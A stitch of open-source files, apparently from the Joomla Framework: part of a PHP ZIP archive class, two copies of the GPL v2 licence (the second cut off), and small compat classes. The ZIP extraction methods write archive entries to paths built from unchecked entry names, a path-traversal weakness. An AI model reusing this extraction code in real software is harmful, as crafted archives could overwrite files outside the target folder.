	public function checkZipData(&$data)
	{
		return strpos($data, $this->fileHeader) !== false;
	}

	/**
	 * Extract a ZIP compressed file to a given path using a php based
algorithm that only requires zlib support
	 *
	 * @param   string  $archive      Path to ZIP archive to extract.
	 * @param   string  $destination  Path to extract archive into.
	 *
	 * @return  boolean  True if successful
	 *
	 * @since   1.0
	 * @throws  \RuntimeException
	 */
	protected function extractCustom($archive, $destination)
	{
		$this->data     = null;
		$this->metadata = null;

		$this->data = file_get_contents($archive);

		if (!$this->data)
		{
			throw new \RuntimeException('Unable to read archive');
		}

		if (!$this->readZipInfo($this->data))
		{
			throw new \RuntimeException('Get ZIP Information failed');
		}

		for ($i = 0, $n = \count($this->metadata); $i < $n; $i++)
		{
			$lastPathCharacter = substr($this->metadata[$i]['name'],
-1, 1);

			if ($lastPathCharacter !== '/' && $lastPathCharacter
!== '\\')
			{
				$buffer = $this->getFileData($i);
				$path   = Path::clean($destination . '/' .
$this->metadata[$i]['name']);

				// Make sure the destination folder exists
				if (!Folder::create(\dirname($path)))
				{
					throw new \RuntimeException('Unable to create destination folder
' . \dirname($path));
				}

				if (!File::write($path, $buffer))
				{
					throw new \RuntimeException('Unable to write entry to file '
. $path);
				}
			}
		}

		return true;
	}

	/**
	 * Extract a ZIP compressed file to a given path using native php api
calls for speed
	 *
	 * @param   string  $archive      Path to ZIP archive to extract
	 * @param   string  $destination  Path to extract archive into
	 *
	 * @return  boolean  True on success
	 *
	 * @throws  \RuntimeException
	 * @since   1.0
	 */
	protected function extractNative($archive, $destination)
	{
		$zip = new \ZipArchive;

		if ($zip->open($archive) !== true)
		{
			throw new \RuntimeException('Unable to open archive');
		}

		// Make sure the destination folder exists
		if (!Folder::create($destination))
		{
			throw new \RuntimeException('Unable to create destination folder
' . \dirname($destination));
		}

		// Read files in the archive
		for ($index = 0; $index < $zip->numFiles; $index++)
		{
			$file = $zip->getNameIndex($index);

			if (substr($file, -1) === '/')
			{
				continue;
			}

			$buffer = $zip->getFromIndex($index);

			if ($buffer === false)
			{
				throw new \RuntimeException('Unable to read ZIP entry');
			}

			if (File::write($destination . '/' . $file, $buffer) ===
false)
			{
				throw new \RuntimeException('Unable to write ZIP entry to file
' . $destination . '/' . $file);
			}
		}

		$zip->close();

		return true;
	}

	/**
	 * Get the list of files/data from a ZIP archive buffer.
	 *
	 * <pre>
	 * KEY: Position in zipfile
	 * VALUES: 'attr'  --  File attributes
	 * 'crc'   --  CRC checksum
	 * 'csize' --  Compressed file size
	 * 'date'  --  File modification time
	 * 'name'  --  Filename
	 * 'method'--  Compression method
	 * 'size'  --  Original file size
	 * 'type'  --  File type
	 * </pre>
	 *
	 * @param   string  $data  The ZIP archive buffer.
	 *
	 * @return  boolean True on success
	 *
	 * @since   1.0
	 * @throws  \RuntimeException
	 */
	private function readZipInfo(&$data)
	{
		$entries = array();

		// Find the last central directory header entry
		$fhLast = strpos($data, $this->ctrlDirEnd);

		do
		{
			$last = $fhLast;
		}
		while (($fhLast = strpos($data, $this->ctrlDirEnd, $fhLast + 1)) !==
false);

		// Find the central directory offset
		$offset = 0;

		if ($last)
		{
			$endOfCentralDirectory = unpack(
				'vNumberOfDisk/vNoOfDiskWithStartOfCentralDirectory/vNoOfCentralDirectoryEntriesOnDisk/'
.
				'vTotalCentralDirectoryEntries/VSizeOfCentralDirectory/VCentralDirectoryOffset/vCommentLength',
				substr($data, $last + 4)
			);
			$offset = $endOfCentralDirectory['CentralDirectoryOffset'];
		}

		// Get details from central directory structure.
		$fhStart    = strpos($data, $this->ctrlDirHeader, $offset);
		$dataLength = \strlen($data);

		do
		{
			if ($dataLength < $fhStart + 31)
			{
				throw new \RuntimeException('Invalid ZIP Data');
			}

			$info =
unpack('vMethod/VTime/VCRC32/VCompressed/VUncompressed/vLength',
substr($data, $fhStart + 10, 20));
			$name = substr($data, $fhStart + 46, $info['Length']);

			$entries[$name] = array(
				'attr'       => null,
				'crc'        => sprintf('%08s',
dechex($info['CRC32'])),
				'csize'      => $info['Compressed'],
				'date'       => null,
				'_dataStart' => null,
				'name'       => $name,
				'method'     =>
$this->methods[$info['Method']],
				'_method'    => $info['Method'],
				'size'       => $info['Uncompressed'],
				'type'       => null,
			);

			$entries[$name]['date'] = mktime(
				($info['Time'] >> 11) & 0x1f,
				($info['Time'] >> 5) & 0x3f,
				($info['Time'] << 1) & 0x3e,
				($info['Time'] >> 21) & 0x07,
				($info['Time'] >> 16) & 0x1f,
				(($info['Time'] >> 25) & 0x7f) + 1980
			);

			if ($dataLength < $fhStart + 43)
			{
				throw new \RuntimeException('Invalid ZIP data');
			}

			$info = unpack('vInternal/VExternal/VOffset', substr($data,
$fhStart + 36, 10));

			$entries[$name]['type'] = ($info['Internal'] &
0x01) ? 'text' : 'binary';
			$entries[$name]['attr'] = (($info['External'] &
0x10) ? 'D' : '-') . (($info['External']
& 0x20) ? 'A' : '-')
				. (($info['External'] & 0x03) ? 'S' :
'-') . (($info['External'] & 0x02) ? 'H'
: '-') . (($info['External'] & 0x01) ?
'R' : '-');
			$entries[$name]['offset'] = $info['Offset'];

			// Get details from local file header since we have the offset
			$lfhStart = strpos($data, $this->fileHeader,
$entries[$name]['offset']);

			if ($dataLength < $lfhStart + 34)
			{
				throw new \RuntimeException('Invalid ZIP Data');
			}

			$info                         =
unpack('vMethod/VTime/VCRC32/VCompressed/VUncompressed/vLength/vExtraLength',
substr($data, $lfhStart + 8, 25));
			$name                         = substr($data, $lfhStart + 30,
$info['Length']);
			$entries[$name]['_dataStart'] = $lfhStart + 30 +
$info['Length'] + $info['ExtraLength'];

			// Bump the max execution time because not using the built in php zip
libs makes this process slow.
			@set_time_limit(ini_get('max_execution_time'));
		}
		while (($fhStart = strpos($data, $this->ctrlDirHeader, $fhStart + 46))
!== false);

		$this->metadata = array_values($entries);

		return true;
	}

	/**
	 * Returns the file data for a file by offset in the ZIP archive
	 *
	 * @param   integer  $key  The position of the file in the archive.
	 *
	 * @return  string  Uncompressed file data buffer.
	 *
	 * @since   1.0
	 */
	private function getFileData($key)
	{
		if ($this->metadata[$key]['_method'] == 0x8)
		{
			return gzinflate(substr($this->data,
$this->metadata[$key]['_dataStart'],
$this->metadata[$key]['csize']));
		}

		if ($this->metadata[$key]['_method'] == 0x0)
		{
			// Files that aren't compressed.
			return substr($this->data,
$this->metadata[$key]['_dataStart'],
$this->metadata[$key]['csize']);
		}

		if ($this->metadata[$key]['_method'] == 0x12)
		{
			// If bz2 extension is loaded use it
			if (\extension_loaded('bz2'))
			{
				return bzdecompress(substr($this->data,
$this->metadata[$key]['_dataStart'],
$this->metadata[$key]['csize']));
			}
		}

		return '';
	}

	/**
	 * Converts a UNIX timestamp to a 4-byte DOS date and time format
	 * (date in high 2-bytes, time in low 2-bytes allowing magnitude
	 * comparison).
	 *
	 * @param   integer  $unixtime  The current UNIX timestamp.
	 *
	 * @return  integer  The current date in a 4-byte DOS format.
	 *
	 * @since   1.0
	 */
	protected function unix2DosTime($unixtime = null)
	{
		$timearray = $unixtime === null ? getdate() : getdate($unixtime);

		if ($timearray['year'] < 1980)
		{
			$timearray['year']    = 1980;
			$timearray['mon']     = 1;
			$timearray['mday']    = 1;
			$timearray['hours']   = 0;
			$timearray['minutes'] = 0;
			$timearray['seconds'] = 0;
		}

		return (($timearray['year'] - 1980) << 25) |
($timearray['mon'] << 21) | ($timearray['mday']
<< 16) | ($timearray['hours'] << 11) |
			($timearray['minutes'] << 5) |
($timearray['seconds'] >> 1);
	}

	/**
	 * Adds a "file" to the ZIP archive.
	 *
	 * @param   array  $file      File data array to add
	 * @param   array  $contents  An array of existing zipped files.
	 * @param   array  $ctrldir   An array of central directory information.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 * @todo    Review and finish implementation
	 */
	private function addToZipFile(array &$file, array &$contents,
array &$ctrldir)
	{
		$data = &$file['data'];
		$name = str_replace('\\', '/',
$file['name']);

		// See if time/date information has been provided.
		$ftime = null;

		if (isset($file['time']))
		{
			$ftime = $file['time'];
		}

		// Get the hex time.
		$dtime    = dechex($this->unix2DosTime($ftime));
		$hexdtime = \chr(hexdec($dtime[6] . $dtime[7])) . \chr(hexdec($dtime[4] .
$dtime[5])) . \chr(hexdec($dtime[2] . $dtime[3]))
			. \chr(hexdec($dtime[0] . $dtime[1]));

		// Begin creating the ZIP data.
		$fr = $this->fileHeader;

		// Version needed to extract.
		$fr .= "\x14\x00";

		// General purpose bit flag.
		$fr .= "\x00\x00";

		// Compression method.
		$fr .= "\x08\x00";

		// Last modification time/date.
		$fr .= $hexdtime;

		// "Local file header" segment.
		$uncLen = \strlen($data);
		$crc    = crc32($data);
		$zdata  = gzcompress($data);
		$zdata  = substr(substr($zdata, 0, \strlen($zdata) - 4), 2);
		$cLen   = \strlen($zdata);

		// CRC 32 information.
		$fr .= pack('V', $crc);

		// Compressed filesize.
		$fr .= pack('V', $cLen);

		// Uncompressed filesize.
		$fr .= pack('V', $uncLen);

		// Length of filename.
		$fr .= pack('v', \strlen($name));

		// Extra field length.
		$fr .= pack('v', 0);

		// File name.
		$fr .= $name;

		// "File data" segment.
		$fr .= $zdata;

		// Add this entry to array.
		$oldOffset  = \strlen(implode('', $contents));
		$contents[] = &$fr;

		// Add to central directory record.
		$cdrec = $this->ctrlDirHeader;

		// Version made by.
		$cdrec .= "\x00\x00";

		// Version needed to extract
		$cdrec .= "\x14\x00";

		// General purpose bit flag
		$cdrec .= "\x00\x00";

		// Compression method
		$cdrec .= "\x08\x00";

		// Last mod time/date.
		$cdrec .= $hexdtime;

		// CRC 32 information.
		$cdrec .= pack('V', $crc);

		// Compressed filesize.
		$cdrec .= pack('V', $cLen);

		// Uncompressed filesize.
		$cdrec .= pack('V', $uncLen);

		// Length of filename.
		$cdrec .= pack('v', \strlen($name));

		// Extra field length.
		$cdrec .= pack('v', 0);

		// File comment length.
		$cdrec .= pack('v', 0);

		// Disk number start.
		$cdrec .= pack('v', 0);

		// Internal file attributes.
		$cdrec .= pack('v', 0);

		// External file attributes -'archive' bit set.
		$cdrec .= pack('V', 32);

		// Relative offset of local header.
		$cdrec .= pack('V', $oldOffset);

		// File name.
		$cdrec .= $name;

		// Save to central directory array.
		$ctrldir[] = &$cdrec;
	}

	/**
	 * Creates the ZIP file.
	 *
	 * Official ZIP file format: http://www.pkware.com/appnote.txt
	 *
	 * @param   array   $contents  An array of existing zipped files.
	 * @param   array   $ctrlDir   An array of central directory information.
	 * @param   string  $path      The path to store the archive.
	 *
	 * @return  boolean  True if successful
	 *
	 * @since   1.0
	 * @todo	Review and finish implementation
	 */
	private function createZipFile(array &$contents, array &$ctrlDir,
$path)
	{
		$data = implode('', $contents);
		$dir  = implode('', $ctrlDir);

		/*
		 * Buffer data:
		 * Total # of entries "on this disk".
		 * Total # of entries overall.
		 * Size of central directory.
		 * Offset to start of central dir.
		 * ZIP file comment length.
		 */
		$buffer = $data . $dir . $this->ctrlDirEnd .
		pack('v', \count($ctrlDir)) .
		pack('v', \count($ctrlDir)) .
		pack('V', \strlen($dir)) .
		pack('V', \strlen($data)) .
		"\x00\x00";

		return File::write($path, $buffer);
	}
}
GNU GENERAL PUBLIC LICENSE
				Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.
 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

				Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at
all.

  The precise terms and conditions for copying, distribution and
modification follow.

			GNU GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License.  The "Program",
below,
refers to any such program or work, and a "work based on the
Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language.  (Hereinafter, translation is included without limitation in
the term "modification".)  Each licensee is addressed as
"you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.

  1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.

  2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

	a) You must cause the modified files to carry prominent notices
	stating that you changed the files and the date of any change.

	b) You must cause any work that you distribute or publish, that in
	whole or in part contains or is derived from the Program or any
	part thereof, to be licensed as a whole at no charge to all third
	parties under the terms of this License.

	c) If the modified program normally reads commands interactively
	when run, you must cause it, when started running for such
	interactive use in the most ordinary way, to print or display an
	announcement including an appropriate copyright notice and a
	notice that there is no warranty (or else, saying that you provide
	a warranty) and that users may redistribute the program under
	these conditions, and telling the user how to view a copy of this
	License.  (Exception: if the Program itself is interactive but
	does not normally print such an announcement, your work based on
	the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:

	a) Accompany it with the complete corresponding machine-readable
	source code, which must be distributed under the terms of Sections
	1 and 2 above on a medium customarily used for software interchange; or,

	b) Accompany it with a written offer, valid for at least three
	years, to give any third party, for a charge no more than your
	cost of physically performing source distribution, a complete
	machine-readable copy of the corresponding source code, to be
	distributed under the terms of Sections 1 and 2 above on a medium
	customarily used for software interchange; or,

	c) Accompany it with the information you received as to the offer
	to distribute corresponding source code.  (This alternative is
	allowed only for noncommercial distribution and only if you
	received the program in object code or executable form with such
	an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for
making modifications to it.  For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable.  However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.

If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.

  4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License.  Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.

  5. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Program or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.

  6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.

  7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all.  For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded.  In such case, this License incorporates
the limitation as if written in the body of this License.

  9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

Each version is given a distinguishing version number.  If the Program
specifies a version number of this License which applies to it and
"any
later version", you have the option of following the terms and
conditions
either of that version or of any later version published by the Free
Software Foundation.  If the Program does not specify a version number of
this License, you may choose any version ever published by the Free
Software
Foundation.

  10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission.  For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this.  Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.

				NO WARRANTY

  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

			 END OF TERMS AND CONDITIONS

		How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is
found.

	<one line to give the program's name and a brief idea of what it
does.>
	Copyright (C) <year>  <name of author>

	This program is free software; you can redistribute it and/or modify
	it under the terms of the GNU General Public License as published by
	the Free Software Foundation; either version 2 of the License, or
	(at your option) any later version.

	This program is distributed in the hope that it will be useful,
	but WITHOUT ANY WARRANTY; without even the implied warranty of
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
	GNU General Public License for more details.

	You should have received a copy of the GNU General Public License
	along with this program; if not, write to the Free Software
	Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA


Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:

	Gnomovision version 69, Copyright (C) year name of author
	Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show
w'.
	This is free software, and you are welcome to redistribute it
	under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the
appropriate
parts of the General Public License.  Of course, the commands you use may
be called something other than `show w' and `show c'; they could
even be
mouse-clicks or menu items--whatever suits your program.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program,
if
necessary.  Here is a sample; alter the names:

  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
  `Gnomovision' (which makes passes at compilers) written by James
Hacker.

  <signature of Ty Coon>, 1 April 1989
  Ty Coon, President of Vice

This General Public License does not permit incorporating your program into
proprietary programs.  If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library.  If this is what you want to do, use the GNU Library General
Public License instead of this License.
<?php
/**
 * Part of the Joomla Framework Compat Package
 *
 * @copyright  Copyright (C) 2005 - 2014 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

/**
 * CallbackFilterIterator using the callback to determine which items are
accepted or rejected.
 *
 * @link   http://php.net/manual/en/class.callbackfilteriterator.php
 * @since  1.2.0
 */
class CallbackFilterIterator extends \FilterIterator
{
	/**
	 * The callback to check value.
	 *
	 * @var    callable
	 *
	 * @since  1.2.0
	 */
	protected $callback = null;

	/**
	 * Creates a filtered iterator using the callback to determine
	 * which items are accepted or rejected.
	 *
	 * @param   \Iterator  $iterator  The iterator to be filtered.
	 * @param   callable   $callback  The callback, which should return TRUE
to accept the current item
	 *                                or FALSE otherwise. May be any valid
callable value.
	 *                                The callback should accept up to three
arguments: the current item,
	 *                                the current key and the iterator,
respectively.
	 *                                ``` php
	 *                                function my_callback($current, $key,
$iterator)
	 *                                ```
	 *
	 * @throws  InvalidArgumentException
	 *
	 * @since   1.2.0
	 */
	public function __construct(\Iterator $iterator, $callback)
	{
		if (!is_callable($callback))
		{
			throw new \InvalidArgumentException("Argument 2 of
CallbackFilterIterator should be callable.");
		}

		$this->callback = $callback;

		parent::__construct($iterator);
	}

	/**
	 * This method calls the callback with the current value, current key and
the inner iterator.
	 * The callback is expected to return TRUE if the current item is to be
accepted, or FALSE otherwise.
	 *
	 * @link    http://www.php.net/manual/en/callbackfilteriterator.accept.php
	 *
	 * @return  boolean  True if the current element is acceptable, otherwise
false.
	 *
	 * @since   1.2.0
	 */
	public function accept()
	{
		$inner = $this->getInnerIterator();

		return call_user_func_array(
			$this->callback,
			array(
				$inner->current(),
				$inner->key(),
				$inner
			)
		);
	}
}
<?php
/**
 * Part of the Joomla Framework Compat Package
 *
 * @copyright  Copyright (C) 2005 - 2013 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

/**
 * JsonSerializable interface. This file provides backwards compatibility
to PHP 5.3 and ensures
 * the interface is present in systems where JSON related code was removed.
 *
 * @link   http://www.php.net/manual/en/jsonserializable.jsonserialize.php
 * @since  1.0
 */
interface JsonSerializable
{
	/**
	 * Return data which should be serialized by json_encode().
	 *
	 * @return  mixed
	 *
	 * @since   1.0
	 */
	public function jsonSerialize();
}
GNU GENERAL PUBLIC LICENSE
				Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.
 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

				Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at
all.

  The precise terms and conditions for copying, distribution and
modification follow.

			GNU GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License.  The "Program",
below,
refers to any such program or work, and a "work based on the
Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language.  (Hereinafter, translation is included without limitation in
the term "modification".)  Each licensee is addressed as
"you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.

  1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.

  2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

	a) You must cause the modified files to carry prominent notices
	stating that you changed the files and the date of any change.

	b) You must cause any work that you distribute or publish, that in
	whole or in part contains or is derived from the Program or any
	part thereof, to be licensed as a whole at no charge to all third
	parties under the terms of this License.

	c) If the modified program normally reads commands interactively
	when run, you must cause it, when started running for such
	interactive use in the most ordinary way, to print or display an
	announcement including an appropriate copyright notice and a
	notice that there is no warranty (or else, saying that you provide
	a warranty) and that users may redistribute the program under
	these conditions, and telling the user how to view a copy of this
	License.  (Exception: if the Program itself is interactive but
	does not normally print such an announcement, your work based on
	the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:

	a) Accompany it with the complete corresponding machine-readable
	source code, which must be distributed under the terms of Sections
	1 and 2 above on a medium customarily used for software interchange; or,

	b) Accompany it with a written offer, valid for at least three
	years, to give any third party, for a charge no more than your
	cost of physically performing source distribution, a complete
	machine-readable copy of the corresponding source code, to be
	distributed under the terms of Sections 1 and 2 above on a medium
	customarily used for software interchange; or,

	c) Accompany it with the information you received as to the offer
	to distribute corresponding source code.  (This alternative is
